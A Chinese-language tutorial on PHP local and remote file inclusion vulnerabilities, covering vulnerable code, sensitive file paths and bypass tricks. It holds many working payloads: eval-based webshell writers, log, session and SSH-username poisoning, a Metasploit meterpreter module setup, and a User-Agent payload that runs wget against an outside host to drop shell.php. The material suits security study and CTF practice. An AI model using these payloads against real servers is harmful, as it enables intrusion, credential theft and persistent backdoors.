文件包含

1、文件包含漏洞概述

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)

2、漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

3、文件包含漏洞的危害

  • 执行任意代码

  • 读取文件源码或敏感信息

  • 包含恶意文件控制网站,甚至控制服务器

4、文件包含漏洞分类

  • 本地文件包含( Local File Include (LFI)):包含本地服务器的文件

  • 远程文件包含(Remote File Include (RFI)):可以包含其他服务器的文件可以包含图片等等类型如果图片为PHP脚本语法也会被以PHP形式解析文件包含

远程包含与本地包含没有区别,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。

5、文件包含的相关函数

Php

相关的PHP函数

功能解释

错误时的操作

include

语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中

引入的文件有错误时,只生成警告(E_WARNING),并且脚本会继续执行脚本

include_once

此行为和 include 语句功能类似,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

require

语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 require 语句的文件中

引入的文件有错误时,会生成致命错误(E_COMPILE_ERROR)并停止脚本运行

require_once

与 require 语句功能类似,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

  • include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

  • include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

PHP函数

功能解释

highlight_file

函数对文件进行语法高亮显示

show_source

函数对文件进行语法高亮显示

readfile

函数读取一个文件,并写入到输出缓冲

如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出

file_get_contents

函数把整个文件读入一个字符串中

fopen

函数打开文件或者 URL

file

函数把整个文件读入一个数组中

Jsp/servlet

  • ava.io.file()

  • java.io.filereader()

Asp

  • include file

  • include virtual

6、文件包含漏洞的条件

在php.ini文件里进行配置

  • allow_url_ fopen :为ON时 (默认为On),能读取远程文件,例如file_get_contents()就能读远程文件

  • allow_url. include :为ON时 (php5.2之后默认为Off) ,就可使用include和require等方式包含远程文件

7、本地文件包含

无限制本地文件包含

  • 两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)

  • 被包含的页面的后缀无论是什么都会当做PHP解析

示例代码

<?php 
$filename = $_GET['file']; 
include($file); 
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

注:即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。

测试结果

如果包含的文件内容不符合php语言语法的,会直接将文件内容输出,比如:

目录遍历

<?php 
$filename = $_GET['file']; 
include(/web.$file);   //如果有web目录可以用../上一级目录绕过限制
?>

./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件

7.1文件包含配置文件

包含一些敏感的配置文件,获取目标敏感信息

常见的敏感信息路径:

Windows系统:

c:\boot.ini #查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam #存储 windows 系统初次安装的密码 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息

Linux:

/etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /etc/php5/apache2/php.ini //ubuntu 系统的默认路径 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件 /etc/resolv.conf /root/.ssh/known_hosts /etc/network/interfaces /root/ .ssh/authorized_keys /root/ .ssh/id_rsa /root/ .ssh/id_ras.keystore /root/.bash_history /root/ .mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz

......

7.2 文件上传图片马联合文件包含

一般用于文件上传,上传图片马后如果存在文件包含漏洞,那么就可以包含执行图片马里面的php代码

还可以上传图片马进行生成一个shell.php进行getshell(条件竞争)

<?php fputs(fopen("shell.php","w"),'<? @eval($_POST[shell]);?>');?>

7.3 session本地文件包含利用

  • 利用条件:session存储位置获取

  • 获取方法1:通过phpinfo信息获取到session.save_path的session存储位置

常见的php-session存放位置:

  • /var/lib/php/sess_PHPSESSID

  • /var/lib/php/sess_PHPSESSID

  • /tmp/sess_PHPSESSID

  • /tmp/sessions/sess_PHPSESSID

windows默认C:\WINDOWS\Temp或集成环境下的tmp文件夹里

Linux下默认存放在/var/lib/php/session目录下

获取方法2:猜测默认的session存放位置

session中的内容可以被控制,传入恶意代码。

示例:

//session.php
<?php
session_start();        //设置session
$ctfs=$_GET['ctfs'];    
$_SESSION["username"]=$ctfs;
?>

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://127.0.0.1/session.php?ctfs=ctfs 后,会在D:\phpStudy\PHPTutorial\tmp\tmp目录存储session值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为:5ba03eaaa1b81759bbd60937fe821215

到服务器的D:\phpStudy\PHPTutorial\tmp\tmp目录下查看果然存在此文件,内容为:

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://127.0.0.1/session.php?ctfs=<?php phpinfo();?>后,会在D:\phpStudy\PHPTutorial\tmp\tmp目录下存储session的值。

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

Getshell思路

扩展

burp抓包,写入一句话木马,主要在user-agent最后加入

7.4 日志本地文件包含利用

什么是日志文件?

WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log

注意:

  • 一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf ,nginx.conf...)或者根据phpinfo()中的信息来得知

  • 日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。

日志文件

配置网站访问Apache访问日志,phpstudy默认是不打开。

开启通用日志功能

在D:\phpStudy\PHPTutorial\Apache\conf\httpd.conf的,打开httpd.conf配置文件,第299行

##CustomLog "logs/access.log" common

去掉前边的 # ,并重启apache。

日志默认路径

apache+Linux 日志默认路径

  • /etc/httpd/logs/access_log

  • /var/log/httpd/access log

apache+win2003 日志默认路径

  • D:/xampp/apache/logs/access.log D:/xampp/apache/logs/error.log

IIS6.0+win2003 默认日志文件

  • C:/WINDOWS/system32/Logfiles

IIS7.0+win2003 默认日志文件

  • %SystemDrive%/inetpub/logs/LogFiles

nginx 日志文件在用户安装目录的 logs 目录下

如安装目录为 /usr/local/nginx,则日志目录就是在

  • /usr/local/nginx/logs

也可通过其配置文件 Nginx.conf,获取到日志的存在路径

  • /opt/nginx/logs/access.log

web 中间件默认配置

apache+linux 默认配置文件

  • /etc/httpd/conf/httpd.conf

  • index.php?page=/etc/init.d/httpd

IIS6.0+win2003 配置文件

  • C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件

  • C:/Windows/System32/inetsrv/config/application/Host.config

一.利用条件三个

  • 文件包含漏洞

  • 日志文件的路径

  • 日志可读性

Windows和linux的路径不一样,但是也有默认的路径

一.找到日志文件路径

phpstudy的Apache默认路径C:\phpStudy\PHPTutorial\Apache\conf\extra\httpd-vhosts.conf

二.测试是否可以文件包含

http://test.com/test.php?page=C:\phpStudy\PHPTutorial\Apache\logs\access.log

包含错误日志: ?file=../../../../../../../../../var/log/apache/error.log (试试把UA设置为“”来使payload进入日志)

三.包含phpinfo

我们用浏览器去访问的时候,对于URL路径是直接记录到日志文件里面的

如果是去请求phpinfo代码然后执行那么就把phpinfo代码写进日志文件里面

正常来说是显示phpinfo页面因为在后台把这些特殊字符进行URL编码(浏览器默认将来一些字符进行URL编码)

解决

利用Burp进行抓包直接把代码写进去

再去访问包含日志文件

Getshell

总结

因为浏览器自带URL编码,如果用Burp则绕过

参考文章

https://www.cnblogs.com/my1e3/p/5854897.html

可以尝试利用 UA 插入 payload 到日志文件

7.5本地文件包含之MSF攻击模块

use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z

参考文章

https://www.fujieace.com/metasploit/php-meterpreter.html

7.6 本地文件包含ftp日志

ftp连接时,用户名输入一句话木马

日志位置在/var/log/vsftpd.log

参考文章https://blog.csdn.net/xysoul/article/details/45031675

7.7 本地文件包含污染的ssh日志shell

Linux默认日志位置在/var/log/auth.log

ssh -p 22 "<?php phpinfo(); ?>"@目标ip地址

案例

ssh '<?php phpinfo();?>'@192.168.136.143

这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell

可以看到我们登陆的行为都被记录到了日志当中

可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析

通过phpinfo查看到了网站根目录

本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路

然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell

然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行

参考文章

https://www.cnblogs.com/PANDA-Mosen/p/13262638.html

7.8 phpMyAdmin包含

0x01 phpMyadmin包含session文件

首先进入执行SQL语言地方,执行如下操作

select '<?php phpinfo();?>'

打开F12查看到session名,完整的session文件就是sess_session

phpstudy里面默认session存储位置是phpstudytmp/tmp,于是包含该session文件

参考文章

phpMyAdmin CVE-2018-12613

https://blog.csdn.net/weixin_43872099/article/details/104128639

[CVE-2014-8959] phpmyadmin任意文件包含漏洞分析

https://www.secpulse.com/archives/2595.html

7.9 包含临时文件+phpinfo getshell

在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。

利用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

操作过程:

访问存在文件包含漏洞的页面

访问phpinfo页面,确实存在

然后利用网上的exp进行利用:

python2 exp.py 目标ip 8080 100

在189次请求时,就写入成功了

脚本exp.py实现了上述过程,成功包含临时文件后,会利用file_put_contents函数写入<?=eval($_REQUEST[1])?>一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上

然后直接利用蚁剑进行连接即可,密码为1:

7.10包含 /proc/self/environ 文件

Linux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。

利用条件:

1、php 以 cgi 方式运行,这样 environ 才会保持 UA 头。

2、environ 文件存储位置已知,且 environ 文件可读。

姿势:

proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码,则 php 代码会被写入到 environ 中。之后再包含它,即可。

?file=../../../../../../../proc/self/environ

选择 User-Agent 写代码如下:

<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

然后提交请求。

/proc/self/environ文件getshell

检查proc/self/environ是否可以访问 www.aaa.com/view.php?page=../../../../../proc/self/environ

3、如果可读就注入代码 访问:www.aaa.com/view.php?page=../../../../../proc/self/environ 选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

//提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

4、访问shell

参考文章

https://blog.csdn.net/xysoul/article/details/45031675

7.11 文件包含案例

8、本地文件包含绕过

8.1 %00截断

PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。

条件

  • PHP版本 < 5.3.4 (不包括5.3) ;

  • PHP对所接收的参数,如以上代码的$_GET['file']未使用addslashes函数。

  • PHP的扩展参数:magic_quotes_gpc = Off

因为PHP大于等于5.3的版本已经修复了这个问题,满足一定条件下可以使用%00,因为当程序流遇到%00终止符的时候将直接终止。如果开启了gpc或者使用了addslashes函数的话则会对其进行转义。(还可以%00 截断目录遍历)

代码演示

//include.php
<?php
    $file  = $_GET['file'];
    include($file . ".html");
?>

//include.php
<?php
    $file  = $_GET['file'];
    include($file . ".html");
?>

//include.php
<?php
    $file  = $_GET['file'];
    include($file . ".html");
?>

`` http://127.0.0.1/include.php?file=../phpinfo.php%00

8.2 路径长度截断:

条件:

  • windows下目录路径最大长度为256字节,超出部分将丢弃

  • Linux下目录最大长度为4096字节,超出长度将丢弃

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.test.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断

条件:windows OS,点号需要长于256

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

EXP:

http://www.test.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

8.3 ?问号伪截断

测试代码:

<?php 
$a = $_GET['page'].'.php';
include $a;
 ?>

访问:http://127.0.0.1/include.php?page=http://127.0.0.1/2.jpg? 如图所示:

或者

8.4编码绕过

url编码

  • ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/

  • .. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e

二次编码

  • ../ -》 %252e%252e%252f

  • .. -》 %252e%252e%255c

9、远程文件包含

远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。

本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

条件

  1. PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

  • allow_url_fopen = On(是否允许打开远程文件)

  • allow_url_include = On(是否允许include/require远程文件)

  1. 所需的远程文件后缀不能与目标服务器的语言相同,如目标服务器解析PHP代码,则远程文件后缀不能为.php。

  2. 远程包含的文件路径必须是绝对路径

无限远程文件包含

那么在远程服务器执行phpinfo()之后,你就可以获得目标服务器的内容。由于它不会运行代码,所以包含的信息不是目标服务器,而是远程服务器。(远程的文件名不能为php可解析的扩展名(php、php5...)

测试代码:

<?php
    $filename  = $_GET['file'];
    include($file);
?>

通过远程文件包含漏洞,包含php.txt可以解析。

如下所示:

这是我的PHP5.6版本的远程设备信息,目标设备是5.2版本。

接下来是包含文件:

你可以看到,包含文件后,你的远程设备发生了变化,这是为什么呢?

由于目标服务器不包含此代码:

此时,远程服务器会执行此代码的源代码,如下所示:

所以为了使这个攻击开始运行,你需要做一些修改:

1、修改配置

2、修改文件后缀

此时,你可以再来尝试一下包含的攻击向量:

那么你可以看到所需的信息在此包含之后返回,并且你的目标设备信息不再改变。

接下来,你要再次为远程文件包含做一个shell示例。

远程文件包含使用的前提是,符合本地文件包含的前提并符合远程文件包含其可用性的前提。

10、远程文件包含利用

10.1 远程包含Shell

先写一个test.txt文件,保存在自己的远程服务器yyy上,内容如下:

<?fputs(fopen( "shell.php" , "w"), "<?php eval($_POST[shell]); ?>")?>

(2)则可以通过访问: http: //Www.xxx.com/index.php?page=http: //www.yyy.com/test.txt

则会在服务器根目录下生产一个shell.php

10.2利用XSS包含执行任意代码

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(需要allow_url_fopen=On,allow_url_include=On并且防火墙或者白名单不允许访问外网时,先在同站点找一个XSS漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊- -)

11、远程文件包含绕过

测试代码:

<?php 
include($_GET['filename'] . ".html"); 
?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

11.1“?”号绕过

http://www.127.0.0.1.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?

11.2“#”号绕过

http://www.127.0.0.1.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

11.3 还有哪些可以绕?

用burp跑一遍发现空格也可以绕过:

%20

12、文件包含漏洞的利用方式-伪协议

12.1 什么是伪协议:

PHP里面为了读取PHP请求的参数或读取一些数据流/压缩包,通过这样的方式来进行伪协议的处理,

通过PHP伪协议可以通过文件读取/数据流的读取/压缩包的读取,根据这样操作利用到文件包含漏洞里面

Php带有很多内置的url风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似,常见协议如下表:

协议

功能

file://

访问本地文件系统

http://

访问 HTTP(S) 网址

ftp://

访问 FTP(S) URL

php://

访问各个输入/输出流(I/O streams)

zlib://

压缩流

data://

数据(RFC 2397)

glob://

查找匹配的文件路径模式

phar://

PHP 归档

ssh2://

Secure Shell 2

rar://

RAR

ogg://

音频流

expect://

处理交互式的流

php各种伪协议参考:http://php.net/manual/zh/wrappers.php.php

需要看的文章

1.文件包含漏洞小节

https://www.cnblogs.com/iamstudy/articles/include_file.html

2.论PHP常见的漏洞

http://www.anquan.us/static/drops/papers-4544.html

3.php伪协议

http://blog.csdn.net/Ni9htMar3/article/details/69812306?locationNum=2&fps=1

4.包含日志文件getshell

https://www.cnblogs.com/my1e3/p/5854897.html

伪协议说明

协议

测试PHP版本

allow_url_fpen

allow_url_include

用法

说明

file://

>=5.2

off/on

off/on

?file=file://D:/soft/phpstudy/WWW/phpcode.txt

读取电脑或者服务器的路径某一个文件,而且把内读取出来

php://filter

>=5.2

off/on

off/on

?file=php://filter/read=convert.base64-encode/resource=./index.php

可以通过filter协议读文件,读出来的文件能进行编码

php://input

>=5.2

on

on

?file=php://input POST DATA]<?php phpinfo0?>

可以访问请求原始数据的只读流,将POST的数据当做PHP代码来执行

zip://

>=5.2

off/on

off/on

file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.bxt

跟fille差不多,区别在于zip是压缩包 %23是编码是# 就是压缩包里面有一个txt文件

compress.bzip2://

>=5.2

off/on

off/on

?file=compress.bzip2://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib2://./file.bz2

compress.zipb://

>=5.2

off/on

off/on

?file=compress.zlib://D:/soft/phpStudy/WWW/file.gz

【or】?file=compress.zlib://./file.gz

data://

>=5.2

on

on

?file=data://text/plain,<?php phpinfo()?>

【or】

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以:

?file=data:text/plain,<?php phpinfo()?>

【or】

?file=data:text/plain:base64.PD9waHAgcGhwaW5mbyqpPz4=

类似input 让用户来控制输入流

base64编码的phpinfo

PD9waHAgcGhwaW5mbyqpPz4=

包装器或协议

可控功能

allow_url_include

漏洞类型

备注

file://

-

Off

LFI /文件处理

glob://

-

Off

目录遍历

php://filter/read

include

Off

档来披露

php://filter/read=convert.base64-encode/resource=index.php

php://filter/write

file_put_contents

Off

编码方式

file_put_contents("php://filter/write=string.rot13/resource=x.txt","content");

php://input

include

On

RCE

Encoding is required while reading .php source: <?php echo base64_encode(file_get_contents("solution.php"));?> OR just use <?php system('cat x.php');?>

data://

include

On

RCE

data:text/plain,<?php system("id")?> OR data:text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpPz4=

zip://

include + uploaded file

Off

RCE

phar://

include + uploaded file

Off

RCE

PHP version >= 5.3

来源https://www.cdxy.me/?p=752

12.2 file://协议

PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
  • file:// 用于访问本地文件

  • file:// [文件的绝对路径和文件名]

测试代码:

<?php
@include($_GET["x"]);
?>

· http://127.0.0.1/1.php?x=file://D://phpinfo.txt

12.3 php://协议 输入/输出流(I/O streams)

php://filter:用于读取源码并进行bash64编码输出;

在双off的情况下也可以正常使用;

条件:

  • allow_url_fope off/on

  • allow_url_include on

不需要开启allow_url_fopen

php://input:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;

条件(php.ini):

  • allow_url_fope off/on

  • allow_url_include on

仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启 allow_url_include。

php://stdin是只读的,php://stdout 和 php://stderr 是只写的。 php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://fd 允许直接访问指定的文件描述符。

在CTF中经常使用的是php://filter和php://input

  • php://filter用于读取源码

  • php://input用于执行php代码

12.4 php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

因为它不依赖于特定的 php.ini 指令。

注:enctype="multipart/form-data" 的时候 php://input 是无效的。

注:遇到file_get_contents()要想到用php://input绕过。

条件:

  • php <5.0 ,allow_url_include=Off/On 情况下也可以用

  • php > 5.0,只有在allow_url_fopen=On 时才能使用

测试代码:

<meta charset="utf-8">
<?php
error_reporting(0);
$file = $_GET["file"];        //获取file参数
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"date:")){
    exit('hacker!');    //判断是否有php://filter zip:// phar:// date:协议 如果有提示hacker
}
if($file){
    if ($file!="http://www.baidu.com") echo "tips: flag在当前目录的某个文件中";    
    include($file);    //如果传参有值 而且不等于baidu那么提示flag在当前目录的某个文件中 而这一句话没有任何意义 则file有内容直接包含
}else{
    echo '<a href="?file=http://www.baidu.com">clieck go baidu</a>';    //如果不是的话提示clieck go baidu
}
?>

1.利用php://input执行phpinfo代码

它会读取POST的内容进行执行因为把php代码include到里面了php代码就会执行

http://127.0.0.1/ctf/2/php_input.php?file=php://input<?php phpinfo(); ?>

这样就可以获取phpinfo页面说明代码成功执行了 我们要获取flag

2.利用php://input system来执行当前系统的操作目录

<?php system("dir"); ?>

3.利用php://input 写shell

既然可以执行php代码那么可以利用来生成一个一句话木马文件

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[key])?>');?>
//fputs写文件
//fopen获取了shell.php的对象
//w 写的操作 i是写
//一句话木马
//如果一句话木马内容为双引号那么不会成功执行

这样就写了shell.php

12.5 php_filter (本地磁盘文件进行读取)重点理解

php://filter:(读取文件)

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

php://filter 参数

名称

描述

说明

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流。

理解为文件名字

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

|可以加或不加,如果加可以Base64进行编码

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

语法

  • Example #2 php://filter/resource=<待过滤的数据流>

这个参数必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。

<?php
/* 这简单等同于:
  readfile("http://www.example.com");
  实际上没有指定过滤器 */


readfile("php://filter/resource=http://www.example.com");    //readfile文件读取的函数 通过php伪协议的php://filter的resource读取网址给readfile参数
?>
  • Example #3 php://filter/read=<读链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");    //通过php伪协议的php://filter指定read等于string.toupper编码方式 resource是网址



/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");    //string.toupper编码加string.rot13加密 
?>
  • Example #4 php://filter/write=<写链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

<?php
/* 这会通过 rot13 过滤器筛选出字符 "Hello World"
  然后写入当前目录下的 example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");    //write=string.rot13写入到example.txt内容为Hello World
?>

参考php官网https://www.php.net/manual/zh/wrappers.php.php

测试代码:

index.html

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>CTF</title>
    </head>
    <body>
        <a href="./index.php?file=show.php">click me? no</a>
    </body>
</html>

index.php

<html>
    <title>Bugku-ctf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

show.php

<html>
    <title>Bugku-ctf</title>
    
test5</html>

直接跳到 http://127.0.0.1/1/index.php?file=show.php 从URL得到出file传参包含得到show.php

  • 使用伪协议php://filter base64编码进行包含index.php

http://127.0.0.1/1/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
  • 得到base64编码

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4=

